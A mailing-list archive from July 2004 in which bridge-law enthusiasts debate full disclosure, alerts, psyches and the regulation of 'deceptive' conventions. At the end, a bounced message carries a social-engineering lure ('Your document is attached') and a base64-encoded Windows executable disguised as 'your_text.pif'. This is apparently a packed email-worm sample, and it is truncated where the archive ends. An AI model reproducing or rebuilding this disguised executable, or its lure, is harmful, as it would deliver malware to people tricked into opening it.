Kingdom TW11 0LW. ------------------------------------------------------------------- From hermandw@hdw.be Wed Jul 28 17:58:47 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jul 2004 18:58:47 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <6.1.1.1.0.20040728104206.02bc39f0@pop.starpower.net> References: <6.1.1.1.0.20040728104206.02bc39f0@pop.starpower.net> Message-ID: <4107DB47.4080907@hdw.be> Semantics, Eric! Eric Landau wrote: > >> At 03:21 AM 7/28/04, Herman wrote: >> >> >Eric Landau wrote: >> >>At 03:19 AM 7/27/04, Herman wrote: >> >> >> >>>If 2 players have the same idea about the meaning of a bid, does it >> >>>really matter if they have discussed this between themselves, with a >> >>>known mutual partner, or with some unknown mutual partners? >> >> >> >>Of course it does. If they have no awareness of any mutual basis for >> >>their "same idea", it must derive from their "general knowledge and >> >>experience", else that phrase has no meaning. >> > >> >That is of no help to our discussion, Eric, since it is very well >> >possible that they are from a same club and the opponents are not. >> >So the knowledge the two partnerss "share" may not be general. >> >Of course in some cases the "general knowledge" does come into play, >> >but that does not change the fact that this knowledge needs to be >> >known to opponents. The "general knowledge" is not a negation of "full >> >disclosure", it merely means that some things need not be said, >> >because they are assumed known already. >> > >> >So there is quite a number of knowledge that is "shared" but not >> >"general". Does it really matter why it is shared in order for it to >> >be disclosable. Can any pair really prove how they come to share a >> >piece of knowledge? >> >> To say that knowledge is "shared" by two people can mean either (a) >> imparted from one to the other, not necessarily explicitly, or (b) held >> in common, however obtained. When knowledge is shared in the narrower >> sense (a), we call that an "agreement". It is not a coincidence that >> that is the word used in the relevant laws. >> Why would only (a) constitute an agreement. It appears to me that if you agree on some meaning, you have an agreement. Anyway, I don't think this is important. >> If they are from the same club, and if there is a common meaning X for >> the call in question at that club, both of those are pieces of >> knowledge which are "shared" in sense (a), and must be disclosed: "We >> have no explicit agreement, but we both play in the Whatever Club, >> where it normal to play this as X." That is not the same as, "We have >> agreed to play this as X," which wouldn't be true. >> OK, so you have now coined two words where I use only one, and then you have said that both words must be disclosed. So what? >> When you don't know what pard's call means, full disclosure requires >> making available to the opponents whatever knowledge you have available >> that bears on your decision as to what meaning you will assume. It >> does not require (and, arguably, forbids) you to pretend that you do >> know what it means. >> But the requirement of full disclosure is not synonimous to telling opponents that you know something. In fact, whether or not you know the meaning is often totally irrelevant. If you have forgotten your agreement, your opponents are still entitled to know what the agreement was. So this argument also, while true, is totally irrelevant to the discussion we are having. >> -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From mfrench1@san.rr.com Wed Jul 28 18:31:49 2004 From: mfrench1@san.rr.com (Marvin French) Date: Wed, 28 Jul 2004 10:31:49 -0700 Subject: [blml] Re: blml digest, Vol 1 #1723 - 15 msgs References: <20040728073802.18130.12862.Mailman@toybox.amsterdamned.org> <1091011171.21181.201230958@webmail.messagingengine.com> Message-ID: <001a01c474c8$c505f640$6401a8c0@san.rr.com> Marv wrote: > > > > I am not going to evade responsibility by saying "No agreement" when I > > > intend to make a call based on an assumed agreement. > > What responsibility does this answer? The responsibility for any damage to the opponents. > Maybe you had a responsibility to > have had an agreement, but it's too late for that. Players do not have the responsibility to have an agreement about every call made by partner. That's asking too much. > Maybe I'm missing > something, but full disclosure when there's nothing to disclose doesn't > need to take very long, does it? > My approach to this problem ensures that the opponents will never be damaged by our lack of an explicit agreement, and that is my main concern. Partner says "Two diamonds," I guess and say "Transfer," followed with 2H. If it's a transfer, no harm no foul, and we *were* in agreement (implicit but not explicit, see L75A). If not, opponents get redress for any damage. If I say, "No agreement, but I'm guessing a transfer," then when the opponents are damaged (2D is natural) I can say, "Hey, I said no agreement. That was full disclosure and you get no redress." I don't think so. Marv Marvin L. French San Diego, California From TG0JLH1@wpo.cso.niu.edu Wed Jul 28 19:10:51 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 28 Jul 2004 13:10:51 -0500 Subject: [blml] Deceiving and destroying Message-ID: (James Hudson:) Unusual, unfamiliar conventions must be regulated; but *deceptive*, *destructive* conventions need not be singled out. (David Stevenson:) They *need* not insofar as that is not the only solution: but what is wrong with singling them out? (Hudson:) Suppose a pair comes up with a new convention which is difficult to defend against, and for which no one has yet prepared a defense, and starts using it (with alerts, of course, and an appropriate notation on their CCs) in a matchpoint pairs game. Opponents complain to the director. It seems that (at least in some such cases) David wants the decision whether to permit the use of this convention to depend on whether it is judged to have *technical merit*, as opposed to being *merely deceptive/destructive*. If the former, the innovative pair are to be handed a windfall: until a relatively effective defense is designed and disseminated, they will gain from their opponents' confusion and lack of preparation. But do we not want to save the field from having to cope with such a novelty (even though it has theoretical merit)? Then we have no reason to distinguish between the meritorious and the "deceptive/destructive" in our regulations. Of course, I haven't explained how meritorious new conventions can be introduced, and incorporated into common practice. But let us not make an essential step in the process to be a judgment by the authorities that the convention is meritorious (non-deceptive/non-destructive). From ehaa@starpower.net Wed Jul 28 19:16:31 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 28 Jul 2004 14:16:31 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD7@lonsc-s-031.europ e.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD7@lonsc-s-031.europe.shell.com> Message-ID: <6.1.1.1.0.20040728135654.02bc6c40@pop.starpower.net> At 12:14 PM 7/28/04, Hinden wrote: >I used to play a 1NT opening bid as showing 9-12 HCP. Then the ACBL >banned 1NT opening bids on fewer than 10 HCP on the grounds that such >opening bids are "purely destructive", with "no technical merit". So >now I play it to show 10-12 HCP, which I consider to have a small but >significant negative impact on my system as a whole. I submit that the >ACBL's "purely destructive" has much the same semantic load as >Frances's "designed to confuse", so Frances can now say that she has >heard of someone "complaining about something having been banned under >[the ACBL's version of] this rule". > >Eric Landau >---------------------------------------------------------------------- >I disagree completely that they have the same semantic load. You can play >methods as destructive as you like against me. >The EBU regulation is specifically aimed at methods which are trying to >circumvent the Laws on full disclosure (even if only by slipping >past careless oppo). I'm not actually aware of many examples, though RMB >and DWS may be able to do better. > >I am aware of a pair who >a) play double as non-lead-directing of all cuebids >b) do not alert every pass of a cuebids > >which strikes me as of dubious legality, but at least they have to >alert the double whereas a normal lead-directing double doesn't have >to be alerted. > >I'm well aware of many examples of people trying to confuse with their >explanations, though the TD at the table can come down pretty sharpish >on these. But >to me that's evidence that the regulation is useful. I also know >people who >have designed signalling systems solely to confuse (if the first card >played >from dummy is odd, we play standard, if it's even we play reverse unless >the board is a prime number in which case it's the other way round) >though I >don't think that ever saw the light of day when partner veto'd it. I accept Frances's distinction between "designed to obstruct" and "designed to confuse". But we do not need rules to ban the latter, since, for them to do what they were designed to, a partnership using them must prima facie violate L75 -- you can't confuse the opponents with the meaning of a call if that meaning is "fully and freely available to [them]". I do not accept the argument that the phrase "in accordance with the regulations of the sponsoring organization" in L40B creates a loophole that allows you to fail in your obligation under L75 to disclose your methods just because the sponsoring organization has failed to specify a particular method of disclosure by means of which your L75 obligation is to be met for some particular call. ISTM that most SOs are sensitive to this, which is why almost all alert procedures require alerts for something along the lines of "anything which is highly unusual or unexpected". Frances gives the example of a pair playing "lead-directing passes" who do not alert them, presumably because the SO has not explicitly stated that such passes must be alerted. She calls that practice "of dubious legality", whereas I would call it absolutely illegal, an outright violation of L75. When I play a method that I don't expect my opponents to understand, but which my SO has told me explicitly not to alert, I have been known to rap the table and announce, "Not an alert!" in my best alerting voice. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From wayne.burrows@xtra.co.nz Wed Jul 28 19:18:09 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 29 Jul 2004 06:18:09 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <000f01c474cf$3cf2bd90$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Tim West-Meads > Sent: Thursday, 29 July 2004 12:09 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > Richard - we are asked to respect the spirit *as well as* the letter. > Not *instead of* or *rather than*. > How on earth do we know the spirit if we only have the letters? Wayne > Tim > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Wed Jul 28 19:24:37 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 29 Jul 2004 06:24:37 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <004801c474b7$bf4f9f00$0d80b6d4@LNV> Message-ID: <001001c474d0$2412fbe0$0401010a@Desktop> > -----Original Message----- > From: Ton Kooijman [mailto:t.kooyman@worldonline.nl] > Sent: Thursday, 29 July 2004 3:03 a.m. > To: Wayne Burrows; blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > > > >>>A player may not make a call or play based on a > > > >>>special partnership understanding unless an > > > >>>opposing pair may reasonably be expected to > > > >>>understand its meaning, > > > > > > Therefore, my opinion remains unaltered. Given > > > the unquoted-by-Tim caveat, I still believe that > > > Ton had a clear authority to order the mini-NT > > > pair to alert their *surprising* 1NT range. > > > > > > > This is flawed IMO. What if 15-17 is *surprising* > > to me. This is my first time playing in the > > Somewhere Bridge Federation. Will I get an alert? > > > > If not 15-17 then at what point does a NT range > > become surprising? > > > > Wayne > > > These are the words of either a pigheaded man or a man who doesn't > understand what is said up till now. > Your questions will be answered by the TD in charge who > should know what is > surprising or not. That is why I consult local TD's when I am abroad. The TD in charge who has never met me knows what I may be reasonably expected to understand? My point is everyone should be reasonably expected to understand any range of 1NT when the regulations state that no range requires an alert. Wayne From wayne.burrows@xtra.co.nz Wed Jul 28 19:34:37 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 29 Jul 2004 06:34:37 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <004901c474b7$bf8ccf10$0d80b6d4@LNV> Message-ID: <001101c474d1$89676ca0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Thursday, 29 July 2004 3:30 a.m. > To: gesta@tiscali.co.uk; blml > Subject: Re: [blml] Deceiving and destroying > > > > > > > > > > My history may be "flawed" but I was a TD (club level > > > to be sure) in 1955, and became an ACBL TD in 1960. > > > I stand by my comments, that using 40D to prohibit > > > what is specifically allowed by 40A is a subterfuge and > > > stretch of language logic > > > > > > The bridge world knows for years that I have the same opinion. > > And I consider the answer Grattan gives as beside the point. > Nobody wants to > accuse anybody of lack of integrity or ignoble motivations. Why do you > suggest that? The question is that I support people who say > that L40A does > clearly say that psyches can't be regulated. It is against > the principle > idea of the psyche to regulate it. > > Which leaves us with the problem that the use of psyches by > some people > makes it impossible not to have a weapon against that use. > > I have told it before: in '87 during the EC championships I > was called at a > table where an Italian pair had psyched the 1C-opening and > the 1D answer. > This was the second round in the first session of the open > pairs (board 3). > I took a paper (A4) and wrote with big letters (WE PSYCHE > VERY OFTEN) and I > ordered this pair to show this paper to every opponent at the > start of a > round. (I was the chief TD in that event). > > The problem was solved, but I wait for the reproachful words > from Wayne. Ok my first salvo ... How did this solve the problem? Did they psyche less frequently now? If so I suppose you can now penalize this poor pair for misinforming their opponents. Wayne From ehaa@starpower.net Wed Jul 28 19:35:59 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 28 Jul 2004 14:35:59 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD8@lonsc-s-031.europ e.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD8@lonsc-s-031.europe.shell.com> Message-ID: <6.1.1.1.0.20040728142221.02bc8150@pop.starpower.net> At 12:18 PM 7/28/04, Hinden wrote: >Let me put this more simply. I will only rule your method illegal if it >loses its point when opponents understand it. A 9-count 1NT prominent >on the card and - in EBUland- you are explicitly supposed to find out the >opponents' 1NT range at the start of the round. So difficult to see how >you can think these are the same thing. > >"the only person who can say for what purpose a method was >designed is the person who designed it." > >Entirely true. So you ask them for what purpose the method was designed. >Wtp? The problem is that there are no acceptable grounds here for ruling my method illegal. Whatever it may be, there are only two possibilities: (a) My opponents understand it. I should then not be barred from using it simply because someone else has labeled it "pointless" in that case. I should be entitled to disagree with them and act according to my own convictions, not theirs. (b) My opponents do not understand it. In that case, I have violated L75A by failing to make my understanding "fully and freely available to the opponents", and may have my score adjusted appropriately with no need for an additional rule regarding the method per se. What is not needed is some designated individual (or committee) with the power to disappear a method from the face of the Earth simply because, in their opinion, it is "designed to confuse", or "pointless", or "an illegal enemy combatant". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Wed Jul 28 19:55:42 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 28 Jul 2004 14:55:42 -0400 Subject: [blml] Re: blml digest, Vol 1 #1723 - 15 msgs In-Reply-To: <001a01c474c8$c505f640$6401a8c0@san.rr.com> References: <20040728073802.18130.12862.Mailman@toybox.amsterdamned.org> <1091011171.21181.201230958@webmail.messagingengine.com> <001a01c474c8$c505f640$6401a8c0@san.rr.com> Message-ID: <6.1.1.1.0.20040728144622.02bcc920@pop.starpower.net> At 01:31 PM 7/28/04, Marvin wrote: >My approach to this problem ensures that the opponents will never be >damaged >by our lack of an explicit agreement, and that is my main concern. Partner >says "Two diamonds," I guess and say "Transfer," followed with 2H. If >it's a >transfer, no harm no foul, and we *were* in agreement (implicit but not >explicit, see L75A). If not, opponents get redress for any damage. > >If I say, "No agreement, but I'm guessing a transfer," then when the >opponents are damaged (2D is natural) I can say, "Hey, I said no >agreement. >That was full disclosure and you get no redress." > >I don't think so. If you think 2D was a transfer, and partner thinks it is natural, then whatever has been said or done in the way of (mis-)disclosure, you must continue the auction as though it were a transfer, and partner must continue to auction as though it were natural. 99.9% of the time, of course, this will produce a disastrous result, but that is what the Law requires. If we take the position that the opponents must be "protected" (the opposite of "get no redress") against the 0.1% probability of the "damage" that occurs when we miraculously obtain a good score -- whether by speculative disclosure or by some other means -- despite following the Law, we are in effect saying that the rules should specify that when a partnership does not agree on the meaning of a call, they *must* get a poor score. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From gesta@tiscali.co.uk Wed Jul 28 21:45:39 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 28 Jul 2004 21:45:39 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> Message-ID: <000001c474ec$6c5cc720$970ae150@multivisionoem> Grattan Endicott To: "Grattan Endicott" ; "blml" Sent: Wednesday, July 28, 2004 3:53 PM Subject: Re: [blml] Deceiving and destroying > And what in my message was not correct (exact)? +=+ I thought I had drawn out the point that it was not the case that there was *no* regulation against psyching an artificial opening bid in Malmoe. The problem arose because Jose believed it was what, in his view, it had been previously - i.e. that it applied in his 16 board match - whereas the actual wording applied it to matches of fewer than 16 boards. It is not material, for future purposes, whether in fact the wording had become altered casually; in Menton the regulation applied, if I read it correctly, throughout the Championships and extended to matches/rounds of whatever length. The same language was in the regulations for Oostende but I imagine there were only short rounds there. I need to dig out a copy of the EBL Systems Policy pre-2002 to satisfy myself whether Jose had his facts correct, but as I say this is just an academic question. On this subject I have two chief concerns. The one is that since the WBFLC has allowed, for as long as I have been a member, that the power to regulate conventions is unrestricted and in particular not subject to the condition "not in conflict with" in Law 80F, I do not think any of us should suggest this is not the law as it is - to do so is to challenge the constitutional power of the corporate WBFLC to interpret the laws. The other is that we should remain pragmatic in creating expectations for the future; however 'right' you and Kojak are in your philosophy we do have to face the unlikelihood that the WBFLC will alter its message from what it has been and tell the WBF Executive, plus the Zonal Authorities in Europe and North America, that their respective regulations are 'illegal'. I think we could expect short shrift if we did. So we may rail as much as we like about subterfuges and stretching the language, but in my judgement this is something on which those who do not like it will have to bite the bullet. In the real world it is an act of futility to sit below the waterline and tell the incoming tide not to rise. Let us apply our energies and skills to something more useful. ~ Grattan ~ +=+ From richard.hills@immi.gov.au Wed Jul 28 22:45:04 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 29 Jul 2004 07:45:04 +1000 Subject: [blml] Deceiving and destroying Message-ID: Tim West-Meads >>Richard - we are asked to respect the spirit *as >>well as* the letter. Not *instead of* or *rather >>than*. Pocket Oxford Dictionary: >spirit, n. the principle or meaning or purpose >underlying the form of a law &c. (opp. letter) Richard Hills: Underlying the opposed "letter" of an alert reg is the "spirit" of the principle of full disclosure. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 28 23:02:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 29 Jul 2004 08:02:44 +1000 Subject: [blml] Tuesday night at the Belconnen Labor Club Message-ID: Richard Hills: >>>What explanation of your semi-pro pard's 3NT bid do you >>>give? Marvin French: >>The one that accords with the action I intend to take: >>Either pass, taking partner for 25-27 HCP; or 4C, taking >>partner for Gambling 3NT. If I guess right, no MI, as >>partner and I are on the same wavelength and we have a >>*de facto* partnership agreement. If I guess wrong, >>there is MI, and the opponents get redress if any damage >>results. >> >>I am not going to evade responsibility by saying "No >>agreement" when I intend to make a call based on an >>assumed agreement. David Stevenson: >So you are going to tell the opponents a complete untruth >and base it on the contents of your hand? > >In practice you will usually get it right but it is a >slippery slope as Adam found out: it is the long term >effects of that first lie that cause all the trouble, not >the lie itself. Richard Hills: Yes, the French/De Wael School assumes that a 50% chance of describing pard's cards is more *responsible* than a 100% accurate description of the actual mutual partnership agreement as "undiscussed". However, David Stevenson also is at fault in assuming that, in practice, Marv will usually get it right. At the table, announcing "undiscussed" would have provided better *responsibility* to the opponents than a 50% guess. This was because the semi-pro (moi) had psyched their undiscussed 3NT bid, perpetrating it with a solid heart suit. My semi-sponsor partner misfielded my psyche by passing, and I duly went -500 undoubled. But this was an above- average score, as my miffed RHO did not know what to bid over an undiscussed psyche. So, the opponents failed to reach the normal contract of 5C, which scored +620 at other tables. :-) Best wishes RJH From richard.hills@immi.gov.au Thu Jul 29 00:04:10 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 29 Jul 2004 09:04:10 +1000 Subject: [blml] Deceiving and destroying Message-ID: Grattan Endicott: [snip] >> The other is that we should >>remain pragmatic in creating expectations for the future; >>however 'right' you and Kojak are in your philosophy we >>do have to face the unlikelihood that the WBFLC will alter >>its message from what it has been and tell the WBF >>Executive, plus the Zonal Authorities in Europe and North >>America, that their respective regulations are 'illegal'. I >>think we could expect short shrift if we did. So we may >>rail as much as we like about subterfuges and stretching the >>language, but in my judgement this is something on which >>those who do not like it will have to bite the bullet. In >>the real world it is an act of futility to sit below the >>waterline and tell the incoming tide not to rise. Let us >>apply our energies and skills to something more useful. >> ~ Grattan ~ +=+ Jenny Stewart, The Decline of the Tea Lady, pages 1 & 2: >At this point, I began to consult the vast and rather >grim literature which purports to tell people how to run >organisations. I could see little there that I >recognised. Organisations were supposed to be rational, >yet I have never known an organisation - business, >university, public service, volunteer - which was not a >seething mass of more-or-less incompatible personal >agendas, held together only by really poor communication. Best wishes Richard Hills From twm@cix.co.uk Thu Jul 29 01:09:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 29 Jul 2004 01:09 +0100 (BST) Subject: [blml] Deceiving and destroying In-Reply-To: <000001c474ec$6c5cc720$970ae150@multivisionoem> Message-ID: Grattan wrote: > On this subject I have two chief concerns. The one is > that since the WBFLC has allowed, for as long as I have > been a member, that the power to regulate conventions > is unrestricted and in particular not subject to the condition > "not in conflict with" in Law 80F, I do not think any of us > should suggest this is not the law as it is - to do so is to > challenge the constitutional power of the corporate > WBFLC to interpret the laws. The power is not in dispute, if the WBFLC says black is red in bridge law then so be it. Their competence to make such statements in another matter entirely. Tim From gesta@tiscali.co.uk Thu Jul 29 07:53:54 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 29 Jul 2004 07:53:54 +0100 Subject: [blml] Deceiving and destroying References: Message-ID: <001301c47538$e6ac0cb0$e3d4403e@multivisionoem> Grattan Endicott To: Sent: Thursday, July 29, 2004 1:09 AM Subject: Re: [blml] Deceiving and destroying > Grattan wrote: > > > On this subject I have two chief concerns. The one is > > that since the WBFLC has allowed, for as long as I have > > been a member, that the power to regulate conventions > > is unrestricted and in particular not subject to the condition > > "not in conflict with" in Law 80F, I do not think any of us > > should suggest this is not the law as it is - to do so is to > > challenge the constitutional power of the corporate > > WBFLC to interpret the laws. > > The power is not in dispute, if the WBFLC says black is > red in bridge law then so be it. Their competence to make > such statements in another matter entirely. > > Tim > +=+ Yes, my friend, and not material. I would think it probable that the Executive has appointed a more or less competent group on some occasion in the last twenty odd years of satisfaction with the interpretation in question. But as I was pointing out, the power of dismissal ensures that the superior body will determine the policy. ~ G ~ +=+ From hermandw@hdw.be Thu Jul 29 08:23:45 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 29 Jul 2004 09:23:45 +0200 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: References: Message-ID: <4108A601.40600@hdw.be> OK Richard, now what are you trying to prove? richard.hills@immi.gov.au wrote: > > > Yes, the French/De Wael School assumes that a 50% chance of > describing pard's cards is more *responsible* than a 100% > accurate description of the actual mutual partnership > agreement as "undiscussed". > No Richard. First of all the description "undiscussed" is not 100% true. At the very least, the two possibilities should be added. If this were to happen in Antwerp, the possibility of it being 27+ would be zero, so the explanation would be totally different here (I'm not talking of it being "general bridge knowledge" in Australia that 27+ is one of the options). Add to that the fact that it is extremely unlikely that you know "absolutely nothing" about your partner's tendencies, or that you know less than your opponents do. And even if that is the case, then your example is too far-fetched to be drawing general inferences from, as you try to do. Secondly, Marv and I are not describing partner's cards, we are trying to do our best to describe what the director will deem to be our agreement. We prefer to be helpful to the opponents rather than take our chances with a director and committee who will aask us to prove that we really have no agreement when we end up agreeing on the meaning after all. Add to that the faact that it is unfair to be calling this a 50% chance for the same reasons as above. Usually this percentage is much higher, and when it transcends 80%, do you still consider it fair not to inform opponents of which option is 80% and which one is 20%? > However, David Stevenson also is at fault in assuming that, > in practice, Marv will usually get it right. > > At the table, announcing "undiscussed" would have provided > better *responsibility* to the opponents than a 50% guess. > This was because the semi-pro (moi) had psyched their > undiscussed 3NT bid, perpetrating it with a solid heart > suit. > But that would not have come accross better without an answer. Rather worse, I should say. Because I will rule that you in fact play it as "gambling", or even "gambling, usually minor, very occasionally based on a major suit", and that your partner has drawn the wool over their eyes by adding the possibillity of a 27+ hand, which is something he CANNOT prove is the case. > My semi-sponsor partner misfielded my psyche by passing, > and I duly went -500 undoubled. But this was an above- > average score, as my miffed RHO did not know what to bid > over an undiscussed psyche. So, the opponents failed to > reach the normal contract of 5C, which scored +620 at other > tables. > Something which might also have happened if he had explained it as "gambling". Or it might not. I'll be the judge of that. > :-) > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From MAILER-DAEMON@experian-ems.com Thu Jul 29 11:11:37 2004 From: MAILER-DAEMON@experian-ems.com (Mail Delivery Subsystem) Date: Thu, 29 Jul 2004 04:11:37 -0600 Subject: [blml] Returned mail: see transcript for details Message-ID: <200407291011.i6TABbUF018222@mr05.experian-ems.com> This is a MIME-encapsulated message --i6TABbUF018222.1091095897/mr05.experian-ems.com The original message was received at Thu, 29 Jul 2004 04:11:31 -0600 from 82-33-171-5.cable.ubr06.wiga.blueyonder.co.uk [82.33.171.5] ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- 550 5.1.2 ... Host unknown (Name server: inboundmx2.experian-ems.com.: host not found) --i6TABbUF018222.1091095897/mr05.experian-ems.com Content-Type: message/delivery-status Reporting-MTA: dns; mr05.experian-ems.com Received-From-MTA: DNS; 82-33-171-5.cable.ubr06.wiga.blueyonder.co.uk Arrival-Date: Thu, 29 Jul 2004 04:11:31 -0600 Final-Recipient: RFC822; panorama@inbound2.experian-ems.com Action: failed Status: 5.1.2 Remote-MTA: DNS; inboundmx2.experian-ems.com Last-Attempt-Date: Thu, 29 Jul 2004 04:11:37 -0600 --i6TABbUF018222.1091095897/mr05.experian-ems.com Content-Type: message/rfc822 Received: from bbc.reply.tm0.com (82-33-171-5.cable.ubr06.wiga.blueyonder.co.uk [82.33.171.5]) by mr05.experian-ems.com (8.12.9/8.12.9) with SMTP id i6TABSUF018218 for ; Thu, 29 Jul 2004 04:11:31 -0600 Message-Id: <200407291011.i6TABSUF018218@mr05.experian-ems.com> From: blml@rtflb.org To: panorama@bbc.reply.tm0.com Subject: Re: Your text Date: Thu, 29 Jul 2004 11:11:41 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0007_0000335F.00001BB8" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0007_0000335F.00001BB8 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. ------=_NextPart_000_0007_0000335F.00001BB8 Content-Type: application/octet-stream; name="your_text.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_text.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z 